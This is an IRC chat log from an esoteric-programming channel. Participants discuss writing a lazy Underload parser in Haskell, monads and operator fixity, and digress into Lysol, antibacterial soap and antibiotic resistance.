20:08:18 <elliott> both are an alternative to ([a], e) and using "error" for invalid programs
20:08:18 -!- Lymia has quit (Disconnected by services).
20:08:19 -!- Lymia_ has changed nick to Lymia.
20:08:20 -!- Lymia has quit (Changing host).
20:08:20 -!- Lymia has joined.
20:09:57 <elliott> on a scale of 1 to 10, depending on parsec for your language's semantics rates somewhere around -50
20:10:00 <elliott> time to write a recursive parser
20:10:04 <elliott> ooh, ooh, I should parse _lazily_!
20:10:15 <elliott> so that "(:^):^hello" never errors.
20:10:19 <elliott> GOOD THING I HAVE A TYPE FOR THAT
20:10:33 <elliott> or wait, do I :/
20:10:35 <elliott> yes, I do
20:10:36 <elliott> kinda
20:10:37 <elliott> I think
20:10:38 <elliott> maybe
20:10:39 <elliott> hmm
20:10:45 <elliott> aw man
20:10:50 <elliott> I need all kinds of Foldable shit here I think
20:12:51 <elliott> yeah it'll be lazy except that
20:13:04 <elliott> ((:^):^hello)^
20:13:07 <elliott> will parse invalidly
20:13:09 <elliott> i guess that is ok
20:13:18 <oerjan> um no
20:13:21 <elliott> i suppose I could make Program be "t Instruction" for foldable t
20:13:25 <elliott> oerjan: no, as in
20:13:27 <elliott> it'll parse error
20:13:28 <elliott> wait
20:13:29 <elliott> no it won't
20:13:33 <oerjan> you need to support ((:^):^hello)S
20:13:35 <elliott> right
20:13:36 <elliott> indeed
20:13:37 <elliott> i know _that_
20:13:38 <elliott> hmm
20:13:44 <elliott> so in fact, the parser being lazy gets me exactly one thing
20:13:50 <elliott> (:^):^( will run correctly
20:14:00 <elliott> the thing is, it lets me use (interact run)
20:14:02 <elliott> and it'd be like a repl
20:14:04 <elliott> thanks to lazy parsing :P
20:14:07 <elliott> except that \n is invalid
20:14:08 <elliott> oh whatever
20:14:09 <oerjan> ^ul (hi)S(
20:14:09 <fungot> hi ...unterminated (!
20:14:15 <elliott> ^ul (:^):^(
20:14:16 <fungot> ...out of time!
20:14:18 <elliott> see?
20:14:20 <olsner> elliott: well, it would be worse to put semantics in the parser if the parser wasn
20:14:27 <olsner> wasn't written in parsec
20:14:28 <oerjan> oh
20:14:39 <elliott> olsner: it's a recursive function
20:14:52 <olsner> the parser?
20:14:53 <elliott> because having the semantics of your language depend on the subtleties of parsec and even its error handling is Not Good
20:14:55 <elliott> yes
20:15:00 <elliott> thankfully Underload is dirt simple
20:16:06 <oerjan> !underload (:^):^(
20:16:11 <EgoBot> Error: Expected ) at end of input
20:16:26 <elliott> hm in fact i want to return the rest of the input separately I think
20:16:26 <elliott> urgh
20:16:30 <elliott> this is so complicated :)
20:16:35 <elliott> i'll have to consult ais523
20:16:43 <elliott> another matter i have to consult him about: whether infinite programs are valid or not
20:16:44 <oerjan> it would seem our implementations don't quite agree on parsing...
20:16:47 <elliott> I'll strongly recommend "no"
20:16:56 <elliott> because if infinite programs are allowed, then there is a program that outputs Chaitin's constant
20:17:04 <elliott> and it looks like (0)S(.)S(something)S(something)S...
20:17:09 <olsner> booh! why disallow infinite programs?
20:17:12 <elliott> and that's just not right
20:17:14 <elliott> olsner: <elliott> because if infinite programs are allowed, then there is a program that outputs Chaitin's constant
20:17:20 <olsner> so?
20:17:25 <elliott> olsner: Chaitin's constant is not even _remotely_ computable
20:17:30 <olsner> so?
20:17:37 <elliott> olsner: *sigh*
20:17:41 <olsner> :)
20:17:43 <elliott> i'm sure oerjan agrees >:D
20:17:52 <elliott> i don't even know what it would do the computational complexity
20:17:55 <elliott> infinite programs can do anything :p
20:18:04 * oerjan sidles away carefully
20:18:13 <olsner> IMO, if it causes horribleness, then that's just all the more reason to do it
20:18:36 <oerjan> but underload is _elegant_
20:18:49 <olsner> hmm, I thought it was an esolang?
20:18:58 <oerjan> it is still elegant
20:19:24 <elliott> yeah, Underload isn't horrific at all
20:19:32 <elliott> it's a tarpit, but a really graceful one, it doesn't feel forced
20:20:34 <elliott> wow, Chris Pressey wrote a _CGI frontend_ to the DragonFly BSD installer
20:20:35 <elliott> that's just wrong!
20:20:47 <elliott> seriously: http://www.bsdinstaller.org/images/screenshots/cgi-partition.png
20:22:48 <elliott> > parse ('(':s) = r >>= \s' -> Chunk (Push p) (parse s')
20:22:48 <elliott> > where r = parse s
20:22:48 <elliott> > p = toList r
20:22:48 <elliott> > toList (Chunk x xs) = x : toList xs
20:22:48 <elliott> > toList _ = []
20:22:49 <lambdabot> <no location info>: parse error on input `where'
20:22:49 <lambdabot> <no location info>: parse error on input `='
20:22:49 <lambdabot> <no location info>: parse error on input `='
20:22:49 <lambdabot> <no location info>: parse error on input `='
20:22:50 <lambdabot> <no location info>: parse error on input `='
20:22:52 <elliott> SCARED YET
20:23:10 <elliott> yes, that really processes the internal monadic stuffs as well as using it as an action.
20:23:11 <elliott> mwahahaha.
20:23:43 <olsner> Chunk (Push p) . parse =<< r
20:24:31 <elliott> olsner: lol
20:24:38 <elliott> @pl r >>= \s' -> Chunk (Push p) (parse s')
20:24:38 <lambdabot> Chunk (Push p) . parse =<< r
20:24:45 <elliott> oerjan: NOW WHAT FANCY MONAD FUNCTION IS THAT
20:24:52 <oerjan> !underload (hi)Sthere
20:24:57 <EgoBot> hiAttempt to execute unknown command 116
20:25:21 <olsner> hmm, turns out I'm doing @pl in my head whenever I see haskell code
20:25:22 <elliott> I really wish Haskell had overloaded chars
20:25:26 <fizzie> ^ul (hy)Sterical
20:25:27 <fungot> hy ...bad insn!
20:25:30 -!- MigoMipo has joined.
20:25:41 <elliott> :t lookup
20:25:42 <lambdabot> forall a b. (Eq a) => a -> [(a, b)] -> Maybe b
20:25:43 <fizzie> (Just checking what the error message was.)
20:25:49 <oerjan> elliott: it has overloaded strings
20:25:56 <elliott> oerjan: but not chars
20:26:07 <elliott> we also need overloaded lists so that ['a','b','c'] can be kept to mean "abc" :D
20:27:14 <oerjan> :t msum
20:27:15 <lambdabot> forall (m :: * -> *) a. (MonadPlus m) => [m a] -> m a
20:27:19 <elliott> :t maybe
20:27:20 <lambdabot> forall b a. b -> (a -> b) -> Maybe a -> b
20:27:39 <oerjan> :t fromMaybe
20:27:40 <lambdabot> forall a. a -> Maybe a -> a
20:28:27 <oerjan> i wonder if comma-separated lists used msum and return back when lists were monad comprehensions
20:29:04 <elliott> http://en.wikipedia.org/wiki/List_of_emoticons look at the last row of the first table
20:29:16 <elliott> oerjan: heh, [1,2,3] denoted a monad comprehension?
20:29:22 -!- pikhq_ has changed nick to pikhq.
20:29:30 <oerjan> elliott: that's what i'm asking
20:30:08 <elliott> ONLY ONE WAY TO FIND OUT, anyone have a really old hugs release?
20:30:14 <oerjan> i _think_ [x] would have had to be a synonym for return x, to fit with the rest, i'm just less sure of commas
20:30:21 <elliott> hmm
20:30:24 <elliott> I guess it was Gofer then
20:30:49 <elliott> oerjan: what would [x,y,z] be? [msum [return x, return y, return z]]?
20:30:53 <oerjan> @hoogle (a -> m b) -> [a] -> m b
20:30:53 <lambdabot> Prelude concatMap :: (a -> [b]) -> [a] -> [b]
20:30:53 <lambdabot> Data.List concatMap :: (a -> [b]) -> [a] -> [b]
20:30:53 <lambdabot> Prelude (=<<) :: Monad m => (a -> m b) -> m a -> m b
20:31:13 <elliott> oerjan: why do I get the impression that Haskell 98 made Haskell quite a bit less awesome?
20:31:15 <oerjan> elliott: yeah
20:31:27 <oerjan> elliott: because many people agree
20:31:32 <elliott> :D
20:32:00 <elliott> oerjan: i just want monad comprehensions, they're cool
20:32:13 <elliott> wonder if that guy who added them to ghc ever submitted the patch
20:32:15 <oerjan> elliott: well i think they were recently added again
20:32:22 <elliott> there was a blag post about it
20:32:25 <elliott> but afaik it's not in mainline ghc
20:32:42 <oerjan> there was a recent reddit post about someone using it for sql i think
20:32:49 <elliott> interesting how Haskell started off as a very standards-defined language, and then when standards stopped getting published it became implementation-defined by GHC
20:32:56 <elliott> even more surprising considering that this was the case even when GHC wasn't the only player
20:32:59 <oerjan> (stealing linq back from c#)
20:33:21 <elliott> that's embarrassing, having to add a feature removed in the past just to match C# :D
20:34:58 -!- Behold has joined.
20:36:27 -!- BeholdMyGlory has quit (Ping timeout: 240 seconds).
20:39:53 <pikhq> elliott: It seems that monad comprehensions will be back in GHC 7.2
20:39:58 <elliott> Yay.
20:40:54 <pikhq> (as that's the deadline for the feature request, nobody is opposed to adding it, and Simon Peyton-Jones is for it.)
20:41:06 <elliott> @hoogle (a -> a') -> (a,b) -> (a',b)
20:41:07 <lambdabot> Data.Graph.Inductive.Query.Monad mapFst :: (a -> b) -> (a, c) -> (b, c)
20:41:07 <lambdabot> Data.Graph.Inductive.Query.Monad (><) :: (a -> b) -> (c -> d) -> (a, c) -> (b, d)
20:41:07 <lambdabot> Data.Graph.Inductive.Graph nmap :: DynGraph gr => (a -> c) -> gr a b -> gr c b
20:41:12 <elliott> hm
20:41:16 <elliott> what's the arrow thing for that
20:45:44 <elliott> HEY OERJAN
20:45:45 -!- copumpkin has changed nick to dddarius.
20:45:46 <elliott> WHAT'S THE ARROW THING FOR THAT
20:45:52 -!- elliott has changed nick to ddddarius.
20:48:11 -!- dddarius has changed nick to copumpkin.
20:48:33 -!- ddddarius has changed nick to elliott.
20:49:36 <oerjan> :t first
20:49:36 <lambdabot> forall (a :: * -> * -> *) b c d. (Arrow a) => a b c -> a (b, d) (c, d)
20:51:36 -!- poiuy_qwert has joined.
20:53:29 <elliott> right
20:53:34 <elliott> > first succ (1,2)
20:53:35 <lambdabot> (2,2)
20:55:38 <elliott> > let foo | Just x <- Just 3 = x | otherwise = 4 in foo
20:55:39 <lambdabot> 3
20:55:41 <elliott> yay
20:56:19 <oerjan> lambdabot does pattern guards now?
20:56:45 <elliott> evidently
20:56:52 <elliott> oerjan: *Caleskell
20:57:25 <oerjan> well that's not just caleskell, it doesn't define anything just sets an option?
20:57:49 <elliott> oerjan: IT'S ALL PART OF THE CALESKELL REPORT
20:58:05 <oerjan> i just recall lambdabot was pretty much restricted to '98 syntax when i was around there
20:59:15 <elliott> oerjan: no it has all sorts of options.
20:59:18 <elliott> not tuple sections though, IIRC they clash
20:59:20 <oerjan> um is this caleskell report an actual document?
20:59:22 <elliott> also no template haskell i believe
20:59:24 <elliott> presumably for security
20:59:25 <elliott> oerjan: no :D
20:59:43 <oerjan> AM DISAPPOINT
20:59:51 <oerjan> food ->
21:04:11 <oerjan> one thing i noticed recently
21:04:16 <oerjan> > (0$0$)
21:04:17 <lambdabot> The operator `GHC.Base.$' [infixr 0] of a section
21:04:17 <lambdabot> must have lower prec...
21:04:39 <elliott> oerjan: how quickly do you eat? :P
21:04:43 <oerjan> $ is still infixr, contrary to a well known Cale suggestion
21:04:48 <elliott> lol
21:04:50 -!- BeholdMyGlory has joined.
21:04:55 -!- Behold has quit (Read error: Operation timed out).
21:04:59 <elliott> we should get that fixed!
21:05:11 <oerjan> i haven't actually started eating, i just made my slices of bread...
21:05:38 <elliott> <elliott> hey Cale, you should fix Caleskell, ($) is still infixr
21:06:09 <oerjan> you actually told him? :D
21:06:36 <elliott> <elliott> theory: people like spending more time coding for shorter runtime, because coding is busywork and you don't notice time passing
21:06:36 <elliott> <elliott> whereas execution is usually uneventful until you get a result, and thus the time drags out
21:06:38 <elliott> oerjan: yep :P
21:06:56 <oerjan> nice theory
21:08:21 <Sgeo> elliott, I don't get the ($) thing
21:08:23 <Sgeo> Shouldn
21:08:35 <Sgeo> Shouldn't it be infixr?
21:08:59 <Sgeo> Or am I thinking too imperatively?
21:09:09 <oerjan> Sgeo: Cale believes that people should write f . g $ h x instead of f $ g $ h x chains
21:09:09 <elliott> oerjan: shortened by gwern:
21:09:11 <elliott> <gwern> coding is fun. waiting isn't.
21:09:21 <elliott> doesn't everyone do "f . g $ x" instead of "f $ g $ x"?
21:09:24 <elliott> the latter is kinda perverse
21:09:26 <elliott> maybe cale started that
21:09:37 <oerjan> if people do that, $ becomes more useful as infixl
21:09:50 <oerjan> elliott: yeah i guess he's been championing it for a while
21:10:06 <Vorpal> elliott, very nice theory about runtime
21:10:10 <Lymia> f.g x means f (g x) correct?
21:10:17 <elliott> Lymia: no
21:10:18 <elliott> f . (g x)
21:10:23 <elliott> f.g$x means f (g x)
21:10:27 <elliott> so does (f.g) x
21:10:30 <Lymia> Ah.
21:10:51 -!- impomatic has joined.
21:10:56 <oerjan> Lymia: f.g$x = f (g x) is not a parsing rule btw, it just follows from the definitions of . and $
21:11:04 * Lymia makes a note to seriously learn Haskell
21:11:08 <Vorpal> <elliott> the latter is kinda perverse <-- why
21:11:21 <elliott> <ezyang> aristid: Coding is fun. Being wrapped up in a puzzle that you're gradually solving is fun. Getting stuck is not.
21:11:22 <elliott> <ezyang> Lack of puzzle (reduction of coding to data entry) is not fun.
21:11:22 <elliott> <ezyang> Of course, I find that when I get unstuck is usually when I learn the most.
21:11:24 <elliott> <aristid> ezyang: full agreement
21:11:26 <elliott> my theory, 'tis sparking of much discussion
21:11:29 <elliott> Vorpal: because it's hideous
21:11:37 <elliott> f . g . h $ x looks much better
21:11:42 <elliott> and the $ serves as a visual indicator
21:11:48 <elliott> "ok, enough stacking, we're applying now"
21:11:54 * oerjan is still wrapped up in minimal string puzzles, now trying squares...
21:12:03 <elliott> oerjan: i should have said f.g $ x
21:12:07 <elliott> f.g$x is unspeakably ugly :)
21:12:09 <Vorpal> elliott, so purely aesthetical reasons then?
21:12:10 <oerjan> i gave up on the base 9 primes, it seemed to blow up
21:12:16 <elliott> Vorpal: *aesthetic
21:12:28 <elliott> Vorpal: if it wasn't for aesthetics, you could just write f (g (h x)).
21:12:35 -!- impomatic has quit (Client Quit).
21:12:37 <Vorpal> elliott, hm isn't aesthetic the noun rather than the adjective?
21:12:51 <elliott> nobody says it singular afaik
21:12:53 <elliott> aesthetics is the noun
21:12:55 <elliott> aesthetic is the adjective
21:12:59 <Vorpal> elliott, ah
21:13:00 <elliott> well
21:13:02 <elliott> yeah
21:13:54 <fizzie> The noun aesthetic has 1 sense (no senses from tagged texts)
21:13:54 <fizzie>
21:13:54 <fizzie> 1. aesthetic, esthetic -- ((philosophy) a philosophical theory as to what is beautiful; "he despised the esthetic of minimalism") ← see, there.
21:14:04 <fizzie> (But it does list "aesthetic, esthetic, aesthetical, esthetical" as the adjective.)
21:14:09 <elliott> Yes, that was the exception I was thinking of.
21:14:13 <elliott> Aesthetical is ridiculous though. :p
21:14:22 <fizzie> Aisthetical.
21:14:36 <Vorpal> elliott, it was a good try I think
21:14:52 <elliott> Also anyone who says "esthetic*" is evil.
21:14:56 <elliott> It's just ugly.
21:15:01 <elliott> Unaesthetical, one might say.
21:15:21 <Vorpal> elliott, funnily estetisk is the Swedish adjective
21:15:33 <oerjan> and the norwegian one
21:15:41 <elliott> > ord '('
21:15:42 <lambdabot> 40
21:15:43 <elliott> > ord ')'
21:15:44 <lambdabot> 41
21:15:58 <Vorpal> oerjan, isn't estetik the noun?
21:16:10 <oerjan> Vorpal: estetikk
21:16:17 <Vorpal> oerjan, *not* kk in Swedish
21:16:30 <Vorpal> oerjan, and I doubt it is ck
21:16:37 <elliott> *Main> parse . map ord8 $ "(:aSS):aSS"
21:16:38 <elliott> Chunk Duplicate (Chunk Enclose (Chunk Output (Chunk Output (Chunk (Push [Duplicate,Enclose,Output,Output]) (Chunk Duplicate (Chunk Enclose (Chunk Output (Chunk Output (End [])))))))))
21:16:38 <elliott> gah!
21:16:40 <elliott> that's not right
21:17:01 <elliott> oh, duh
21:17:10 <elliott> the structure, it is the wrongs!
21:17:12 <oerjan> Vorpal: well maybe you pronounce it with a long i?
21:17:22 <Vorpal> oerjan, indeed I do
21:17:37 <oerjan> so it's logical in both languages
21:17:59 <Vorpal> oerjan, yes indeed but more so in Swedish (as usual) ;P
21:18:08 * oerjan swats Vorpal -----###
21:18:15 <Gregor> Lysol: Actively evil, or just horribly misguided?
21:18:30 <Vorpal> Gregor, who/what?
21:18:41 <Gregor> Somebody in the US: Lysol: Actively evil, or just horribly misguided?
21:18:51 <oerjan> Gregor: i thought you were saying Lymia for a moment there and wondered what the poor guy had done
21:19:24 <Lymia> Killed his FYB bot?
21:19:25 <Lymia> Dunno.
21:19:36 <Lymia> I should get to working on an evolver for BF Joust now.
21:19:40 <elliott> This Lysol solution was also used as a birth control agent, as post-coital douching was a popular method of preventing pregnancy at that time. The use of Lysol was later discouraged by the medical community as it tended to eliminate the bacteria normal to the healthy vagina, thus allowing more robust, health-threatening bacteria to thrive, and may have masked more serious problems that certain odors in
21:19:40 <elliott> dicated in the first place.[8] All the same, Joseph De Lee, a prominent American obstetrician who held great sway over American obstetric practice through his writings, encouraged the use of Lysol during labor. "...[J]ust before introducing the hand, the vagina is liberally flushed with 1 per cent lysol solution squeezed from pledgets of cotton, the idea being to reduce the amount of infections matter
21:19:41 <pikhq> Gregor: Merely misguided.
21:19:41 <elliott> unavoidably carried into the puerperal wounds and up into the uterus by the manipulations."
21:19:46 <Lymia> Though it's doubtful Ic ould get anything on the hill.
21:19:47 <elliott> Gregor: My googling gave me only this.
21:19:52 <elliott> [[It has been reported that some alcoholics use some formulations of Lysol as a beverage for its alcohol content. In some jurisdictions laws have been passed prohibiting the sale of this and similar products to a person whom the seller believes is likely to use the product as a beverage.[11][12]
21:19:53 <elliott> Lysol was also used for suicide purposes (for example, by Vachel Lindsay and Charlotte Mew).]]
21:20:01 <elliott> Sounds like a ... great product :P
21:20:06 <pikhq> elliott: Lysol is *currently* commonly used as a disinfectant. Its history is fucking nuts.
21:20:20 <elliott> Ah, household disinfectants. Also known as: the stupidest fucking idea ever.
21:20:27 <Gregor> Yes
21:20:41 <elliott> LYSOL® Healthy Touch® No-Touch Hand Soap System
21:20:41 <elliott> Never Touch a Germy Soap Pump Again
21:20:46 <elliott> hmm
21:20:47 <pikhq> elliott: It's quite a bit better than household antibiotics, though.
21:20:48 <elliott> Dettol has that
21:20:53 <elliott> I bet Dettol is Lysol's UK brand.
21:21:00 <elliott> yep
21:21:01 <elliott> same company
21:21:03 <elliott> same shit
21:21:07 <elliott> DETTOL PROTECTS, FACT
21:21:15 <pikhq> elliott: At least Lysol won't start to induce resistant strains of bacteria.
21:21:18 * Sgeo still hasn't seen Ghostbusters
21:21:22 <elliott> :D
21:21:43 <elliott> 'Dettol Man' cleans himself to death --El Reg
21:21:56 <elliott> http://www.theregister.co.uk/2007/05/29/dettol_man/
21:22:03 <pikhq> ... Oh, fuck.
21:22:07 <elliott> ?
21:22:11 <pikhq> Lysol *does* produce resistant strains.
21:22:22 <elliott> :DDDDD
21:22:28 <Ilari> Heh... This HOWTO is extremely old (but still may be relevant): It talks about 6bone (dead and gone a LONG time ago).
21:22:41 <Sgeo> I just ate breakfast. I am now more hungry than before.
21:22:43 <pikhq> And even produces strains of bacteria resistant to antibiotics.
21:22:45 <Sgeo> Please explain this.
21:23:05 <elliott> THIS DOESN'T WORK probably because of RABIES
21:23:15 <elliott> cause of all bugs
21:23:32 <pikhq> (studies have found that a less-than-lethal exposure to benzalkonium chloride, the active ingredient in Lysol, induces a resistance to ciproflaxin in bacteria *that had never before been exposed to ciproflaxin*)
21:23:57 <pikhq> Why can't they just freaking use alcohol?
21:24:25 <elliott> http://en.wikipedia.org/wiki/Ptolemaic_dynasty#Simplified_Ptolemaic_family_tree
21:24:25 <pikhq> You're about as likely to get resistance to that as you are to get resistance to a freaking autoclave.
21:24:26 <elliott> "Many of the relationships shown in this tree are controversial."
21:24:49 <Sgeo> pikhq, aren't there some bacteria that are resistant?
21:25:10 <pikhq> Sgeo: Some bacteria can handle somewhat high concentrations of alcohol.
21:25:18 <pikhq> (see: yeast)
21:25:25 <elliott> this is so broke that i think it might actually be a robot
21:25:26 <pikhq> (... yeast are fungi, though)
21:25:32 <elliott> you're a fungi
21:25:56 <Phantom_Hoover> pikhq, yes, but it can't deal with more than 14% concentrations.
21:26:00 <Vorpal> <pikhq> elliott: It's quite a bit better than household antibiotics, though. <-- does US allow that?
21:26:12 <elliott> I presume he means antibiotic soap, etc.
21:26:24 <Vorpal> pikhq, you need prescription to get *any* antibiotics in Sweden
21:26:27 <Vorpal> elliott, what?
21:26:30 <elliott> Which is an epidemic in the UK here too.
21:26:34 <elliott> Erm.
21:26:37 <elliott> Antibacterial soap.
21:26:39 <elliott> OK, he said antibiotic.
21:26:41 <Vorpal> oh that
21:26:42 <elliott> I have no idea what pikhq is referringt o.
21:26:47 <pikhq> Sorry, I meant antibacterial shit.
21:26:54 <elliott> I presume Sweden has antibacterial soap :P
21:27:00 <elliott> Which, btw, should be illegal.
21:27:09 <Sgeo> Do antibacterial products allow for resistance?
21:27:12 <elliott> Except in hospitals, I guess.
21:27:18 <pikhq> elliott: Some of those are actually using antibiotics that managed to get classed as antibacterials somehow.
21:27:25 -!- TLUL has changed nick to deadmau5_.
21:27:26 <pikhq> Though you can get *actual OTC antibiotics* here.
21:27:27 <elliott> pikhq: *Ouch.*
21:27:31 <Vorpal> elliott, I have no idea. Isn't all soap antibacterial in some sense, in that it removes bacterias...
21:27:32 <elliott> *sigh*
21:27:38 <elliott> You guys are gonna ruin things for the rest of us.
21:27:45 <elliott> Vorpal: Antibacterial soap is any cleaning product to which active antibacterial ingredients have been added. These chemicals kill bacteria and microbes, but are no more effective at deactivating viruses than any other kind of soap or detergent, and they also kill nonpathogenic bacteria.[1]
21:27:47 <Sgeo> pikhq, wait what?
21:27:56 <elliott> Vorpal: Also: At one conference, Dr. Stuart Levy, a microbiologist at Tufts University, cites these studies to conclude: "Dousing everything we touch with antibacterial soaps and taking antibiotic medications at the first sign of a cold can upset the natural balance of microorganisms in and around us, leaving behind only the 'superbugs'."1
21:27:58 -!- deadmau5_ has changed nick to TLUL.
21:28:05 <elliott> Note: This shit is incredibly popular in the UK!
21:28:07 <elliott> We're all fucking fucked!
21:28:25 <elliott> That plus antibiotics-because-I-sneezed, but that's more a US problem.
21:28:30 <olsner> bah, what else is new.. the apocalypse will rinse us all away
21:28:42 <elliott> Oh, and of course the morons who will stop taking antibiotics as soon as they feel better, even if they haven't finished the course.
21:28:51 <elliott> Life is wasted on idiots.
21:28:55 <pikhq> elliott: There's also give-antibiotics-to-all-livestock.
21:29:01 <elliott> pikhq: -__-
21:29:24 <pikhq> Which is actually made necessary by the *ridiculously* cramped and unsanitary conditions many livestock are raised in.
21:29:28 <Ilari> There's basically two methods of action for antimicrobials: 1) Those that have specific action (and resistance can develop). 2) Brute force agents that do heck a lot of damage to everything (unlikely to develop resistance).
21:29:32 <elliott> > return () :: ((),())
21:29:33 <lambdabot> No instance for (GHC.Base.Monad ((,) ()))
21:29:33 <lambdabot> arising from a use of `GHC.Bas...
21:29:37 <elliott> hmm
21:29:43 <elliott> oerjan: is ((,) t) not a monad?
21:30:21 <oerjan> hm... not sure, it's isomorphic to Writer
21:30:37 <elliott> oerjan: oh, it's not, you can't do return
21:30:41 <elliott> return x = (???,x)
21:30:53 <oerjan> elliott: it needs Monoid t
21:31:16 <pikhq> Ilari: The absurdly prevalent use of stuff that resistance can develop to *really* bothers me.
21:31:17 <Phantom_Hoover> http://www.irregularwebcomic.net/2932.html
21:31:21 <oerjan> but () is a monoid...
21:31:25 <elliott> oerjan: right
21:31:29 <elliott> return x = (mzero, x)
21:31:30 <oerjan> > mempty :: ()
21:31:30 <Phantom_Hoover> Is this a subtle Casey & Andy tribute, or do I misremember?
21:31:30 <lambdabot> ()
21:31:40 <pikhq> Especially as it's really, really not hard to get the more brute-force antimicrobial agents.
21:31:40 <elliott> (a,b) >>= f = f b
21:31:41 <elliott> hmm
21:31:42 <elliott> surely not
21:31:53 <elliott> gotta be a better definition for >>= there
21:31:54 <Phantom_Hoover> Surely (,) == Either.
21:31:54 <elliott> oh wait
21:31:58 <elliott> i'll try join instead
21:32:01 <elliott> Phantom_Hoover: errrr... no
21:32:01 <pikhq> We've been making one such agent for 9,000 years now!
21:32:16 <Phantom_Hoover> elliott, oh, yes.
21:32:23 <elliott> oerjan: ok so join :: (t,(t,a)) -> (t,a)
21:32:28 <pikhq> (granted, you need to distill it to make it actually effective at sterilisation, but hey.)
21:32:30 <oerjan> elliott: (a,b) >>= f = first (a `mappend`) f b
21:32:35 <elliott> oerjan: so it's either "join (a,(_,b)) = (a,b)" or "join (_,(a,b)) = (a,b)"
21:32:36 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
21:32:40 <elliott> heh
21:32:40 <oerjan> er * $
21:32:40 <elliott> nice
21:32:49 <elliott> oerjan: what's join with that definition?
21:32:49 <Vorpal> <Phantom_Hoover> Is this a subtle Casey & Andy tribute, or do I misremember? <-- to me it looks like a reference to Dr. Who and a reference to Back to the Future?
21:32:57 <elliott> oerjan: join (a,(b,c)) = (a `mappend` b, c)?
21:33:02 <Phantom_Hoover> Vorpal, I mean the "JURRRZ!".
21:33:16 <Phantom_Hoover> Which IIRC was the C&A time travel noise.
21:33:17 <Vorpal> Phantom_Hoover, oh. No idea.
21:33:32 <Vorpal> Phantom_Hoover, haven't read/watched/heard of C&A
21:33:39 <Ilari> The stuff in 2) includes stuff that just plain dissolves cell membranes or attacks darn near everything inside the cell (and can penetrate cell membranes).
21:33:48 <oerjan> Phantom_Hoover: the jurrrz you mean?
21:33:53 <Phantom_Hoover> oerjan, yes.
21:33:57 <pikhq> Ilari: Yup.
21:34:05 <pikhq> Ilari: For instance, ethanol. :)
21:34:08 <Ilari> Yeah, antibiotic resistance is a big problem. MRSA is bad enough. VRSA is even worse (thankfully rare).
21:34:28 <Ilari> Or soap (does nasty things to cell membranes).
21:34:36 <elliott> tv tropes: [[All There In The Manual: Jenn's occupation was "international jewel thief", which you should have known if you had bought David Morgan-Mar's C&A GURPS module.]]
21:34:42 <elliott> --[[CaseyAndAndey]]
21:34:44 <elliott> (I haven't read the comic)
21:34:48 <pikhq> Ah, yeah, standard soap does that to an extent as well.
21:34:50 <elliott> (but the mention of DMM's name makes me think it's likely to be a reference)
21:34:58 <Phantom_Hoover> elliott, DMM was a big fan.
21:35:03 <oerjan> <Phantom_Hoover> Surely (,) == Either. <-- no.
21:35:07 <elliott> then it seems likely.
21:35:10 <Phantom_Hoover> oerjan, I admitted that.
21:35:20 <Phantom_Hoover> elliott, yes, but it might not have been "JURRRZ".
21:35:41 <pikhq> And of course there's the ever-popular bleach.
21:36:14 <Ilari> And then there's the whole "ok this is viral but let's just give you antibiotics as placebo / just to be sure".
21:36:17 <elliott> oerjan: really I just want a monad that lets me handle "parser :: String -> ([Result], String)" nicely.
21:36:26 <pikhq> Ilari: Pisses me off even more.
21:36:37 <oerjan> <elliott> oerjan: join (a,(b,c)) = (a `mappend` b, c)? <-- think so
21:36:42 <elliott> oerjan: i.e. some way to write what amounts to "foo : parse xs" that's nicer than "(foo:ps, xs') where (ps,xs') = parse xs"
21:36:53 <pikhq> Every single time someone does that, antibiotics become less effective.
21:36:59 <elliott> oerjan: would (foo :) <$> parse xs work maybe?
21:37:02 <elliott> with (String, [Result])
21:37:03 <elliott> or something
21:37:15 <oerjan> Phantom_Hoover: i thought it looked like you denied it :D
21:37:23 <Ilari> Oh, and it isn't just doctors: "I feel better so let's save the rest for later".
21:38:04 <pikhq> Gaaaah.
21:38:15 <pikhq> Antibiotics really, really need to be strictly regulated.
21:38:27 <elliott> Ilari: that's what i said before
21:38:37 <oerjan> elliott: why don't you just look at the Writer code :D
21:38:37 <elliott> i'm not sure there's even a good solution to that
21:38:44 <elliott> apart from instant death penalty if you're found doing that
21:39:05 <elliott> oerjan: hm what would the type be for that?
21:39:07 <elliott> i've never used writer :D
21:39:13 <pikhq> elliott: If caught, you are given a jail sentence for the duration of any future antibiotic treatments.
21:39:17 <oerjan> it _is_ (,) except for a strange wrapping
21:39:20 <elliott> pikhq: *killed
21:39:25 <Phantom_Hoover> elliott, are you going to read IWC any time soon?
21:39:40 <oerjan> :t Writer
21:39:41 <lambdabot> Not in scope: data constructor `Writer'
21:39:41 <elliott> Phantom_Hoover: I check it occasionally. Its entire archive is on the Fiction Backlog which pikhq knows all about.
21:39:45 <elliott> :info Writer
21:39:46 <oerjan> :t runWriter
21:39:47 <lambdabot> forall w a. Writer w a -> (a, w)
21:39:55 <elliott> oerjan: ghci really needs some kind of :tellMeAbout
21:39:57 <Phantom_Hoover> Aha, http://galactanet.com/comic/view.php?strip=660
21:39:59 <pikhq> elliott: The idea being that you are mother-fucking taking the whole course, and you are *not* leaving with any extras.
21:40:01 <elliott> that works on types, classes, functions, constructors, ...
21:40:04 <Phantom_Hoover> So it looks like it was indeed a tribute.
21:40:38 <elliott> :t write
21:40:39 <lambdabot> forall (a :: * -> * -> *) w. (ArrowWriter w a) => a w ()
21:40:45 <oerjan> <elliott> oerjan: really I just want a monad that lets me handle "parser :: String -> ([Result], String)" nicely.
21:40:46 <elliott> oerjan: is that caleskell?
21:41:06 <oerjan> um is the last String supposed to be the remaining part of the argument?
21:41:09 <elliott> oerjan: yes
21:41:15 <elliott> oerjan: I realise that this is ReadS
21:41:22 <elliott> but I don't think ReadS comes with convenient functions for the kind of thing i'm doing
21:41:25 <oerjan> because if so then what you have there is State String [Result]
21:41:28 <elliott> also, String is actually [Word8]
21:41:30 <elliott> oerjan: well yes...
21:41:32 <elliott> oerjan: but that's so imperative
21:41:33 <elliott> and ugly
21:41:34 <elliott> and imperative
21:41:35 <elliott> and ugly!
21:41:37 <Phantom_Hoover> elliott, what is the Fiction Backlog?
21:41:44 <elliott> Phantom_Hoover: My Backlog, of Fiction.
21:41:44 <elliott> :t runStateT
21:41:45 <lambdabot> forall s (m :: * -> *) a. StateT s m a -> s -> m (a, s)
21:42:03 <elliott> oerjan: hm what would non-do-notation using State code look like?
21:42:44 <elliott> quintopia: you win a prize
21:42:54 <Ilari> One good thing about MRSA is that the antibiotic those are mostly vulernable to is really nasty to use...
21:43:01 <elliott> on 2007-11-15, you figured out what took #esoteric until 2010-01-22
